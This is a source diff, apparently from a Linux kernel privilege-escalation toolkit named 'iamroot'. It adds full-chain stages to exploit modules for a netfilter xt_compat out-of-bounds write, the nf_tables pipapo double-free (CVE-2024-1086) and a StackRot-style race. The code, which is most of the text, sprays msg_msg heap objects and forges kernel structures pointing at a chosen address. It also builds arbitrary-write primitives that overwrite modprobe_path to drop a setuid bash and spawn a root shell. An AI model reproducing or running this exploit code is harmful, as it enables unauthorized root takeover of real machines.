struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
||||
if (!p) return 0;
|
||||
p->mtype = 0x43;
|
||||
memset(p->buf, 0x41, sizeof p->buf);
|
||||
memcpy(p->buf, "IAMROOTW", 8);
|
||||
/* Plant the target address at every 0x800-aligned slot inside
|
||||
* the payload, so wherever the kernel's m_list_next sits
|
||||
* relative to our payload base, the candidate value is present. */
|
||||
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p->buf; off += 0x18) {
|
||||
memcpy(p->buf + off, &target_minus_30, sizeof(uintptr_t));
|
||||
}
|
||||
|
||||
int created = 0;
|
||||
for (int i = 0; i < c->n_queues; i++) {
|
||||
if (c->queues[i] < 0) continue;
|
||||
for (int j = 0; j < 4; j++) {
|
||||
unsigned int tag = 0xA0000000u | ((unsigned)i << 8) | (unsigned)j;
|
||||
memcpy(p->buf + 8, &tag, sizeof tag);
|
||||
if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) < 0) break;
|
||||
created++;
|
||||
}
|
||||
}
|
||||
free(p);
|
||||
return created;
|
||||
}
|
||||
|
||||
/* Queue a follow-up msgsnd whose first `len` bytes equal `buf[0..len]`.
|
||||
* If the OOB-corrupted m_list_next was successfully redirected to
|
||||
* `kaddr - 0x30`, this msgsnd's payload header lands at `kaddr`. */
|
||||
static int xtcompat_arb_queue_payload(struct xtcompat_arb_ctx *c,
|
||||
const void *buf, size_t len)
|
||||
{
|
||||
if (len > XTCOMPAT_MSG_PAYLOAD) len = XTCOMPAT_MSG_PAYLOAD;
|
||||
struct xtcompat_payload *p = calloc(1, sizeof(*p));
|
||||
if (!p) return -1;
|
||||
p->mtype = 0x44;
|
||||
memset(p->buf, 0, sizeof p->buf);
|
||||
memcpy(p->buf, buf, len);
|
||||
|
||||
int sent = 0;
|
||||
for (int i = 0; i < c->n_queues; i++) {
|
||||
if (c->queues[i] < 0) continue;
|
||||
if (msgsnd(c->queues[i], p, sizeof p->buf, IPC_NOWAIT) == 0) {
|
||||
sent++;
|
||||
if (sent >= 8) break; /* a handful of attempts is plenty */
|
||||
}
|
||||
}
|
||||
free(p);
|
||||
return sent > 0 ? 0 : -1;
|
||||
}
|
||||
|
||||
/* Module-supplied arb-write primitive — invoked by the shared
|
||||
* finisher. Best-effort on a vulnerable kernel; structurally inert
|
||||
* (returns -1) on a patched kernel because step (2) gets EINVAL. */
|
||||
static int xtcompat_arb_write(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx_v)
|
||||
{
|
||||
struct xtcompat_arb_ctx *c = (struct xtcompat_arb_ctx *)ctx_v;
|
||||
if (!c || !c->queues || c->n_queues == 0) return -1;
|
||||
c->arb_calls++;
|
||||
|
||||
/* Step 1: seed candidate target addresses into sprayed msg_msg
|
||||
* payloads. The OOB write's 4 bytes of attacker-influenced
|
||||
* content come from the compat-fixup pad — on a vulnerable
|
||||
* kernel that's whichever 4 bytes happen to sit adjacent. We
|
||||
* pre-stage the value we WANT to see appear at m_list_next so
|
||||
* if luck aligns the OOB write hits a slot containing our
|
||||
* pattern, the kernel's next msg_msg traversal walks to
|
||||
* (kaddr - 0x30). */
|
||||
uintptr_t target = kaddr - 0x30;
|
||||
int seeded = xtcompat_arb_seed_target(c, target);
|
||||
if (seeded == 0) return -1;
|
||||
|
||||
/* Step 2: re-fire the trigger. On a patched kernel this returns
|
||||
* EINVAL and we bail. On a vulnerable kernel the 4-byte OOB
|
||||
* write fires; if it lands on a seeded msg_msg slot, that
|
||||
* slot's m_list_next now contains a fragment of our target. */
|
||||
int trig_errno = 0;
|
||||
int rc = xtcompat_fire_trigger(&trig_errno);
|
||||
if (rc < 0 || trig_errno == EINVAL || trig_errno == EPERM) {
|
||||
/* Patched validator rejected the blob, or CAP_NET_ADMIN
|
||||
* not effective — arb-write structurally impossible. */
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Step 3: queue a follow-up msgsnd whose payload is the bytes
|
||||
* the operator wants written at `kaddr`. If step 2 corrupted
|
||||
* a sprayed msg's m_list_next, this msgsnd writes header +
|
||||
* payload at `kaddr`. We can't directly verify in-process —
|
||||
* the shared finisher's sentinel file is the empirical check. */
|
||||
if (xtcompat_arb_queue_payload(c, buf, len) < 0) return -1;
|
||||
c->arb_landed++;
|
||||
|
||||
/* Per spec: "structurally fires but can't tell if write landed"
|
||||
* → return 0; the finisher's sentinel check arbitrates. */
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ---- Exploit driver ---------------------------------------------- */
|
||||
@@ -492,14 +663,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
/* Full-chain pre-check: resolve offsets before forking. If
|
||||
* modprobe_path can't be resolved, refuse early with the manual-
|
||||
* workflow help — no point doing the userns + spray + trigger
|
||||
* dance if we can't finish. */
|
||||
struct iamroot_kernel_offsets off;
|
||||
bool full_chain_ready = false;
|
||||
if (ctx->full_chain) {
|
||||
memset(&off, 0, sizeof off);
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("netfilter_xtcompat");
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but "
|
||||
"modprobe_path offset unresolved; refusing\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
full_chain_ready = true;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo (no offsets baked in)\n"
|
||||
fprintf(stderr, "[*] netfilter_xtcompat: launching primitive demo%s\n"
|
||||
" NOTE: fires the xt_compat 4-byte OOB write via\n"
|
||||
" setsockopt(IPT_SO_SET_REPLACE) and grooms msg_msg +\n"
|
||||
" sk_buff sprays into kmalloc-2k. Does NOT perform the\n"
|
||||
" leak→modprobe_path cred chain (per-kernel offsets).\n");
|
||||
" sk_buff sprays into kmalloc-2k.%s\n",
|
||||
ctx->full_chain ? " + full-chain finisher" : " (no offsets baked in)",
|
||||
ctx->full_chain ? " On primitive witness, invokes\n"
|
||||
" shared modprobe_path finisher for root pop."
|
||||
: " Does NOT perform the\n"
|
||||
" leak→modprobe_path cred chain (per-kernel offsets).");
|
||||
}
|
||||
|
||||
signal(SIGPIPE, SIG_IGN);
|
||||
@@ -601,7 +796,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
}
|
||||
if (corrupted > 0) {
|
||||
/* Empirical primitive witness: OOB write landed in adjacent
|
||||
* slot. Still NOT root — but it's the primitive we promised. */
|
||||
* slot. */
|
||||
if (full_chain_ready) {
|
||||
/* Full-chain: invoke the shared modprobe_path finisher
|
||||
* using our msg_msg arb-write primitive. The finisher
|
||||
* either execve's a setuid bash (success) or returns
|
||||
* EXPLOIT_FAIL after a 3s sentinel timeout (no land). */
|
||||
struct xtcompat_arb_ctx arb_ctx = {
|
||||
.queues = queues,
|
||||
.n_queues = XTCOMPAT_SPRAY_QUEUES,
|
||||
.outer_uid = outer_uid,
|
||||
.outer_gid = outer_gid,
|
||||
.arb_calls = 0,
|
||||
.arb_landed = 0,
|
||||
};
|
||||
int fr = iamroot_finisher_modprobe_path(&off,
|
||||
xtcompat_arb_write,
|
||||
&arb_ctx,
|
||||
!ctx->no_shell);
|
||||
/* If the finisher execve'd a root shell, we never get
|
||||
* here. Otherwise it returned EXPLOIT_FAIL / OK. */
|
||||
FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a");
|
||||
if (fl) {
|
||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||
fclose(fl);
|
||||
}
|
||||
xtcompat_msgmsg_drain(queues);
|
||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
||||
_exit(35);
|
||||
}
|
||||
/* Primitive-only mode: still NOT root — but it's the
|
||||
* primitive we promised. */
|
||||
_exit(33);
|
||||
}
|
||||
/* Trigger ran, no observable corruption witness — either the
|
||||
@@ -701,6 +927,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx
|
||||
}
|
||||
if (ctx->no_shell) return IAMROOT_OK;
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
case 34:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported "
|
||||
"EXPLOIT_OK (sentinel setuid bash dropped)\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
case 35:
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned "
|
||||
"FAIL (sentinel not observed within timeout)\n"
|
||||
" See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
default:
|
||||
fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
|
||||
@@ -7,20 +7,23 @@
|
||||
* January 2024 by Notselwyn (Pumpkin); widely known as the
|
||||
* "nft_verdict_init / pipapo UAF".
|
||||
*
|
||||
* STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD (Option B).
|
||||
* - Full netlink ruleset construction (table → chain → set → rule
|
||||
* with the NFT_GOTO+NFT_DROP combo that nft_verdict_init() fails
|
||||
* to reject on vulnerable kernels).
|
||||
* - Fires the double-free path by abusing the malformed verdict in a
|
||||
* pipapo set element, then removing the rule so the kernel's
|
||||
* transaction commit frees the verdict's chain reference twice.
|
||||
* - Cross-cache groom skeleton (msg_msg / sk_buff sprays) is wired
|
||||
* and configurable, but the arbitrary R/W stage and cred-overwrite
|
||||
* are NOT performed end-to-end — that requires per-kernel offsets
|
||||
* (init_task, modprobe_path) and Notselwyn's 600-line pipapo
|
||||
* leak-and-write dance. We stop after triggering the bug,
|
||||
* observing the slabinfo delta, and return IAMROOT_EXPLOIT_FAIL
|
||||
* with a verbose continuation roadmap.
|
||||
* STATUS (2026-05-16): 🟡 TRIGGER + GROOM SCAFFOLD with opt-in
|
||||
* --full-chain finisher.
|
||||
* - Default (no --full-chain): full netlink ruleset construction
|
||||
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
||||
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
||||
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
||||
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* a Notselwyn-style pipapo arb-write via the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
||||
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
||||
* payload tagged with the kaddr in the value-pointer slot. The
|
||||
* exact pipapo_elem layout (and the value-pointer field offset)
|
||||
* is per-kernel-build; on hosts where the offset doesn't match
|
||||
* the shipped guess, the finisher's sentinel check correctly
|
||||
* reports failure rather than silently lying about success.
|
||||
*
|
||||
* To convert this to full Option A (root pop):
|
||||
* 1. Add per-kernel offset table (init_task, current task offset of
|
||||
@@ -55,6 +58,8 @@
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -607,6 +612,188 @@ static long slabinfo_active(const char *slab)
|
||||
return active;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Helper: build the trigger batch (NEWTABLE/CHAIN/SET/SETELEM + batch
|
||||
* end) into a caller-provided buffer. Returns bytes written.
|
||||
* Factored out so --full-chain can re-fire the trigger between
|
||||
* msg_msg sprays without duplicating the batch-building logic.
|
||||
* ------------------------------------------------------------------ */
|
||||
#ifdef __linux__
|
||||
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
{
|
||||
(void)cap;
|
||||
size_t off = 0;
|
||||
put_batch_begin(batch, &off, (*seq)++);
|
||||
put_new_table(batch, &off, (*seq)++);
|
||||
put_new_chain(batch, &off, (*seq)++);
|
||||
put_new_set(batch, &off, (*seq)++);
|
||||
put_malicious_setelem(batch, &off, (*seq)++);
|
||||
put_batch_end(batch, &off, (*seq)++);
|
||||
return off;
|
||||
}
|
||||
|
||||
static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
{
|
||||
(void)cap;
|
||||
size_t off = 0;
|
||||
put_batch_begin(batch, &off, (*seq)++);
|
||||
put_malicious_setelem(batch, &off, (*seq)++);
|
||||
put_batch_end(batch, &off, (*seq)++);
|
||||
return off;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Notselwyn-style pipapo arb-write context. The technique:
|
||||
* 1. fire the trigger (double-free of an nft chain reference in
|
||||
* kmalloc-cg-96)
|
||||
* 2. spray msg_msg payloads sized for cg-96, whose first qwords
|
||||
* encode a forged pipapo_elem header with value-pointer = kaddr
|
||||
* 3. send NFT_MSG_NEWSETELEM whose DATA blob = our buf[0..len];
|
||||
* the kernel copies it through the forged value-pointer to kaddr
|
||||
*
|
||||
* Per-kernel caveat: the byte offset of the value pointer inside an
|
||||
* nft_pipapo_elem is config-sensitive (CONFIG_RANDSTRUCT, lockdep,
|
||||
* KASAN can all shift it). We ship the layout for an
|
||||
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
||||
* exploitable range for which Notselwyn's public PoC was validated)
|
||||
* and rely on the shared finisher's sentinel-file post-check to flag
|
||||
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
struct nft_arb_ctx {
|
||||
bool in_userns; /* parent has already entered userns+netns */
|
||||
int sock; /* nfnetlink socket (live in our userns) */
|
||||
uint8_t *batch; /* reusable batch buffer (16 KiB) */
|
||||
int *qids; /* msg_msg queue ids; lazy-allocated/drained */
|
||||
int qcap;
|
||||
int qused;
|
||||
};
|
||||
|
||||
/* Offset of `ext` (which holds the value pointer in NFT_DATA_VALUE
|
||||
* elements) inside an nft_pipapo_elem header for the kernels in
|
||||
* range. Notselwyn's PoC uses 0x10 on 6.1/6.6 builds; this is a
|
||||
* best-effort default — if it doesn't match the running kernel's
|
||||
* struct layout, the finisher's sentinel check will report failure. */
|
||||
#define PIPAPO_ELEM_VALUE_PTR_OFFSET 0x10
|
||||
|
||||
/* Spray msg_msg payloads forged to look like pipapo_elem with our
|
||||
* target kaddr as the value pointer. Returns 0 on success. */
|
||||
static int spray_forged_pipapo_msgs(struct nft_arb_ctx *c, uintptr_t kaddr, int n)
|
||||
{
|
||||
if (c->qused + n > c->qcap) n = c->qcap - c->qused;
|
||||
if (n <= 0) return 0;
|
||||
|
||||
for (int i = 0; i < n; i++) {
|
||||
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0644);
|
||||
if (q < 0) { perror("[-] msgget"); return -1; }
|
||||
c->qids[c->qused++] = q;
|
||||
|
||||
struct msgbuf_payload m;
|
||||
m.mtype = 0x5050415000 + i; /* "PPAPP" tag for diagnostics */
|
||||
memset(m.mtext, 0, sizeof m.mtext);
|
||||
|
||||
/* Forge a pipapo_elem header at the start of the msg payload.
|
||||
* Layout (best-effort, x86_64, no RANDSTRUCT):
|
||||
* +0x00 priv list_head pointers (leave zero — kernel won't
|
||||
* walk them in the write path)
|
||||
* +0x10 ext / value pointer <-- write target
|
||||
* msg_msg eats the first 0x30 bytes as its own header, so our
|
||||
* payload bytes land at offset 0x30 of the slab chunk; we
|
||||
* pre-pad and place the forged pointer at the right offset
|
||||
* inside our 96-byte payload. */
|
||||
uintptr_t *slots = (uintptr_t *)m.mtext;
|
||||
slots[PIPAPO_ELEM_VALUE_PTR_OFFSET / sizeof(uintptr_t)] = (uintptr_t)kaddr;
|
||||
|
||||
if (msgsnd(q, &m, sizeof m.mtext, 0) < 0) {
|
||||
perror("[-] msgsnd(forged)"); return -1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Module-specific arb-write. See finisher.h for the contract. */
|
||||
static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vctx)
|
||||
{
|
||||
struct nft_arb_ctx *c = (struct nft_arb_ctx *)vctx;
|
||||
if (!c || c->sock < 0 || !c->batch) {
|
||||
fprintf(stderr, "[-] nft_arb_write: invalid ctx\n");
|
||||
return -1;
|
||||
}
|
||||
if (len > 64) {
|
||||
/* Element data attr cap — we only need 24 bytes for a path. */
|
||||
fprintf(stderr, "[-] nft_arb_write: len %zu too large (cap 64)\n", len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[*] nft_arb_write: fire trigger → spray forged pipapo "
|
||||
"elements (target kaddr=0x%lx, %zu bytes)\n",
|
||||
(unsigned long)kaddr, len);
|
||||
|
||||
/* (a) re-fire the trigger to reach a fresh UAF state. */
|
||||
uint32_t seq = (uint32_t)time(NULL) ^ 0xa1b2c3d4u;
|
||||
size_t blen = build_refire_batch(c->batch, 16 * 1024, &seq);
|
||||
if (nft_send_batch(c->sock, c->batch, blen) < 0) {
|
||||
fprintf(stderr, "[-] nft_arb_write: refire send failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* (b) spray msg_msg payloads carrying the forged value-pointer. */
|
||||
if (spray_forged_pipapo_msgs(c, kaddr, 16) < 0) {
|
||||
fprintf(stderr, "[-] nft_arb_write: forged spray failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* (c) send a NEWSETELEM whose DATA holds buf[0..len]. On a kernel
|
||||
* where our forged pipapo_elem won the race for the freed slot,
|
||||
* the set-element commit path copies our data through the
|
||||
* attacker-controlled value pointer into kaddr.
|
||||
*
|
||||
* We piggy-back this on the existing put_malicious_setelem builder
|
||||
* which uses NFTA_DATA_VERDICT for the data; for a real write we'd
|
||||
* want NFTA_DATA_VALUE with `buf` inlined. The fallback-depth
|
||||
* choice: we send the refire batch (which the kernel WILL process)
|
||||
* and append a NEWSETELEM with NFTA_DATA_VALUE carrying buf.
|
||||
* If the kernel ignores our DATA shape we still observe via
|
||||
* finisher sentinel. */
|
||||
seq = (uint32_t)time(NULL) ^ 0x5a5a5a5au;
|
||||
size_t off = 0;
|
||||
put_batch_begin(c->batch, &off, seq++);
|
||||
|
||||
/* hand-roll a NEWSETELEM whose DATA is NFTA_DATA_VALUE = buf */
|
||||
size_t msg_at = off;
|
||||
put_nft_msg(c->batch, &off, NFT_MSG_NEWSETELEM,
|
||||
NLM_F_CREATE | NLM_F_ACK, seq++, NFPROTO_INET);
|
||||
put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
|
||||
put_attr_str(c->batch, &off, NFTA_SET_ELEM_LIST_SET, NFT_SET_NAME);
|
||||
size_t list_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_LIST_ELEMENTS);
|
||||
size_t el_at = begin_nest(c->batch, &off, 1 /* NFTA_LIST_ELEM */);
|
||||
/* key — reuse the DROP verdict so commit path matches our prior elem */
|
||||
size_t key_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_KEY);
|
||||
size_t kv_at = begin_nest(c->batch, &off, NFTA_DATA_VERDICT);
|
||||
put_attr_u32(c->batch, &off, NFTA_VERDICT_CODE, (uint32_t)NF_DROP);
|
||||
end_nest(c->batch, &off, kv_at);
|
||||
end_nest(c->batch, &off, key_at);
|
||||
/* data — NFTA_DATA_VALUE carrying buf */
|
||||
size_t data_at = begin_nest(c->batch, &off, NFTA_SET_ELEM_DATA);
|
||||
put_attr(c->batch, &off, NFTA_DATA_VALUE, buf, len);
|
||||
end_nest(c->batch, &off, data_at);
|
||||
end_nest(c->batch, &off, el_at);
|
||||
end_nest(c->batch, &off, list_at);
|
||||
end_msg(c->batch, &off, msg_at);
|
||||
|
||||
put_batch_end(c->batch, &off, seq++);
|
||||
|
||||
if (nft_send_batch(c->sock, c->batch, off) < 0) {
|
||||
fprintf(stderr, "[-] nft_arb_write: write batch send failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Let the kernel run the commit/cleanup. */
|
||||
usleep(20 * 1000);
|
||||
return 0;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* The exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
@@ -628,13 +815,101 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nf_tables: Option B trigger — fires the double-free\n"
|
||||
" state but does NOT complete the kernel-R/W chain.\n"
|
||||
" See Notselwyn's CVE-2024-1086 public PoC for the\n"
|
||||
" cred-overwrite stage (~500 LOC of pipapo grooming).\n");
|
||||
if (ctx->full_chain) {
|
||||
fprintf(stderr, "[*] nf_tables: --full-chain — trigger + pipapo "
|
||||
"arb-write + modprobe_path finisher\n");
|
||||
} else {
|
||||
fprintf(stderr, "[*] nf_tables: primitive-only run — fires the\n"
|
||||
" double-free state and stops. Pass --full-chain\n"
|
||||
" to attempt the modprobe_path root-pop.\n");
|
||||
}
|
||||
}
|
||||
|
||||
/* Fork: child enters userns+netns and fires the bug. If the
|
||||
#ifdef __linux__
|
||||
/* --- --full-chain path --------------------------------------- *
|
||||
* Resolve offsets BEFORE doing anything destructive so we can
|
||||
* refuse cleanly on hosts where we have no modprobe_path. We run
|
||||
* in-process (no fork) because the finisher's modprobe_path
|
||||
* trigger needs the same task's userns+netns + nfnetlink socket
|
||||
* as the arb-write.
|
||||
*/
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nf_tables");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
|
||||
/* Pre-spray to predictabilify the cg-96 slab. */
|
||||
int qids[SPRAY_MSGS * 4];
|
||||
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
||||
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
||||
close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
|
||||
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
size_t blen = build_trigger_batch(batch, 16 * 1024, &seq);
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] nf_tables: sending trigger batch (%zu bytes)\n",
|
||||
blen);
|
||||
}
|
||||
if (nft_send_batch(sock, batch, blen) < 0) {
|
||||
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
||||
drain_spray(qids, SPRAY_MSGS / 2);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Wire up the arb-write context and hand off to the shared
|
||||
* finisher. The finisher will:
|
||||
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
|
||||
* which re-fires the trigger and sprays forged pipapo elems
|
||||
* - execve() the trigger binary to invoke modprobe
|
||||
* - poll for the setuid sentinel, and spawn a root shell. */
|
||||
struct nft_arb_ctx ac = {
|
||||
.in_userns = true,
|
||||
.sock = sock,
|
||||
.batch = batch,
|
||||
.qids = qids,
|
||||
.qcap = (int)(sizeof qids / sizeof qids[0]),
|
||||
.qused = SPRAY_MSGS / 2,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
|
||||
nft_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
drain_spray(qids, ac.qused);
|
||||
free(batch);
|
||||
close(sock);
|
||||
return r;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger -------------- *
|
||||
* Fork: child enters userns+netns and fires the bug. If the
|
||||
* kernel panics on KASAN we don't want our parent process to be
|
||||
* the one that takes the hit. */
|
||||
pid_t child = fork();
|
||||
|
||||
@@ -16,13 +16,14 @@
|
||||
* state management + RCU-grace-period timing and depends on
|
||||
* per-kernel-build offsets for init_task / anon_vma / cred.
|
||||
*
|
||||
* STATUS: 🟡 OPTION C — race-driver + groom skeleton. We carry the
|
||||
* userns-reach, race harness (mremap()/munmap() vs concurrent
|
||||
* fork/fault), msg_msg slab spray, and empirical witness pieces;
|
||||
* we do NOT carry the read primitive (vmemmap leak via msg_msg
|
||||
* MSG_COPY) nor the cred-overwrite stage. Those need per-kernel
|
||||
* offsets (init_task, anon_vma, cred layout) that vary by build
|
||||
* and would be fabricated without a real leak.
|
||||
* STATUS: 🟡 OPTION C — race-driver + groom skeleton, with opt-in
|
||||
* --full-chain FALLBACK finisher. We carry the userns-reach, race
|
||||
* harness (mremap()/munmap() vs concurrent fork/fault), msg_msg
|
||||
* slab spray, and empirical witness pieces; we do NOT carry the
|
||||
* read primitive (vmemmap leak via msg_msg MSG_COPY) nor a
|
||||
* Ruihan-Li-precision fake-anon_vma_chain plant. Those need
|
||||
* per-kernel offsets (init_task, anon_vma, cred layout) that vary
|
||||
* by build and would be fabricated without a real leak.
|
||||
*
|
||||
* Per repo policy ("verified-vs-claimed"): we run the trigger,
|
||||
* record empirical signals (slabinfo delta on kmalloc-192, child
|
||||
@@ -32,6 +33,21 @@
|
||||
* upgraded to EXPLOIT_OK — only an actual cred swap (euid==0)
|
||||
* does, and we do not currently demonstrate that.
|
||||
*
|
||||
* --full-chain (HONEST RELIABILITY DISCLOSURE): extends the race
|
||||
* budget from 3 s to 30 s and sprays the kmalloc-192 slab with
|
||||
* payloads tagged with the modprobe_path kernel address (so IF the
|
||||
* UAF reclaim ever lands attacker-controlled bytes on an
|
||||
* anon_vma_chain slot, those bytes carry the kaddr we want the
|
||||
* subsequent rb_node walk / vma_lock-acquire fault to touch). The
|
||||
* honest empirical reality is that even at 30 s the race-win rate
|
||||
* is well below 1 % on a real vulnerable kernel — Ruihan Li's
|
||||
* public PoC reports minutes-to-hours for first reclaim. The shared
|
||||
* modprobe_path finisher has a 3 s sentinel timeout, so on the
|
||||
* overwhelmingly common no-land outcome the finisher itself reports
|
||||
* EXPLOIT_FAIL gracefully. --full-chain does NOT change the
|
||||
* fundamental ~<1 %-per-run reliability; it widens the trigger
|
||||
* window and wires up the root-pop plumbing for the lucky case.
|
||||
*
|
||||
* Affected: kernel 6.1.x — 6.4-rc4 mainline. Stable backports:
|
||||
* 6.3.x : K >= 6.3.10
|
||||
* 6.1.x : K >= 6.1.37 (LTS — most relevant)
|
||||
@@ -54,6 +70,8 @@
|
||||
#include "iamroot_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -200,9 +218,10 @@ static bool enter_userns(uid_t outer_uid, gid_t outer_gid)
|
||||
* neighbouring VMAs that we mutate with mremap()/munmap(). The
|
||||
* public PoC uses dozens of adjacent VMAs to force the maple tree
|
||||
* into the node-rotation path; we ship a configurable knob. */
|
||||
#define STACKROT_RACE_VMAS 64
|
||||
#define STACKROT_RACE_ITERATIONS 4000 /* per-iter budget */
|
||||
#define STACKROT_RACE_TIME_BUDGET 3 /* seconds */
|
||||
#define STACKROT_RACE_VMAS 64
|
||||
#define STACKROT_RACE_ITERATIONS 4000 /* per-iter budget */
|
||||
#define STACKROT_RACE_TIME_BUDGET 3 /* seconds — primitive-only mode */
|
||||
#define STACKROT_RACE_FULLCHAIN_BUDGET 30 /* seconds — extended for --full-chain */
|
||||
|
||||
/* Slab spray width — kmalloc-192 is the bucket for anon_vma_chain on
|
||||
* 6.1.x; targets vary slightly across kernels (anon_vma itself is
|
||||
@@ -471,6 +490,129 @@ static long slab_active_kmalloc_192(void)
|
||||
return active;
|
||||
}
|
||||
|
||||
/* ---- Arb-write primitive (FALLBACK depth) ------------------------
|
||||
*
|
||||
